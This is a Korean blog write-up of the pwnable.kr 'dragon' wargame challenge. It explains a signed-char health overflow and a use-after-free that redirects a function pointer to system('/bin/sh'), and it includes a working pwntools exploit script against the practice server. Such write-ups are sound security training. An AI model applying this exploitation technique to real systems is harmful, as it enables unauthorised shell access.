시스템 해킹/pwnable

[pwnable.kr] dragon

Lhaaan 2023. 7. 7. 17:16

이 문제는 type error와 uaf 취약점 2개를 이용해서 푸는 문제였다. 

main 함수

main함수에서 PlayGame() 함수로 넘어가보자

PlayGame 함수

FlightDragon 함수랑 SecretLevel 함수가 보인다.

secretLevel 함수

이 함수로 넘어오면 shell을 실행할 수 있는데, 입력한 문자열과 Nice_Try 부분 문자열이 일치하는지 확인함, 근데 10글자밖에 못가져와서 이 부분은 사실상 의미가 없었다. 하지만 system("/bin/sh")를 실행하면 쉘이 실행될테니 해당 주소를 기억해두자

SecretLevel 함수를 확인해보면 0x08048dbf 함수에서 부터 system("/bin/sh") 함수가 실행되는 것을 알 수 있다.

이번엔 FlightDragon 함수 로직을 파악해보자.

간단하게 확인해보면 캐릭터를 생성해서 용이랑 싸우는 것으로 확인이 된다.

일단 Priest를 선택해서 용과 싸우는 것으로 분석을 진행했고, Baby 드래곤이 아닌 Mama 드래곤이랑 싸울때 취약점이 발생하게 된다.

근데 ptr+8은 용의 체력인데, char 자료형으로 되어 있었다. 

char는 -128 ~ 127 범위니까 127보다 높아지면 승리가 되겠지 생각했었음

처음에 이 부분이 안보여서 개 샆질함.. 자료형 보는게 굉장히 중요하다는걸 깨달았다.

그러면 이 부분을 넘어와서 이제 uaf를 만들 차례다.

용과의 전투에서 승리 하게 되면 free(ptr)을 해주게 되는데, 이 ptr은 용의 구조체 포인터 이다. ptr은 0x10만큼 맨 처음에 할당해주고 용이 죽게되면 저렇게 free를 해준다. 여기서 ptr은 v4이다.

 

FightDragon 함수 내부 로직에서 용과 승리하고 난 뒤에 다시 malloc을 통해 v5에 0x10만큼 할당을 해주고 거기에 문자열을 써주게 된다. 근데 v4(용의 구조체) 함수를 실행하는 것을 볼 수 있다. v5에서 쓴 값이 v4에서 호출이 되는 것을 알 수 있다.

v4는 앞에서 free가 되지만, v5로 똑같은 크기를 갖는 heap을 다시 할당해주기 때문에 UAF가 발생하는 것을 알 수 있다.

그러면 v5에 system("/bin/sh") 주소를 넣어주면 쉘이 실행될것이라 판단했다.

//코드

from pwn import *

#p = process("./type_4")
p = remote("pwnable.kr", 9004)
context.log_level = "debug"
#nc pwnable.kr 9004

systemaddr = 0x08048DBF
def ss():
        p.sendlineafter(".\n", "3")
        p.sendlineafter(".\n", "3")
        p.sendlineafter(".\n", "2")

p.sendlineafter("\n", "1")
ss()
ss()
p.sendlineafter("\n", "1")
ss()
ss()
ss()
ss()
p.recvuntil("\n")
p.sendline(p32(systemaddr))
p.interactive() 

 

쉘이 잘 실행된다!

'시스템 해킹 > pwnable' 카테고리의 다른 글

[pwnable.kr] input  (0) 2024.05.09
[pwnable.kr] passcode  (0) 2024.05.09
[pwnable.kr] Collision  (0) 2023.05.21
[pwnable.kr] fd  (0) 2023.05.21
[DreamHack] oob1  (0) 2023.05.21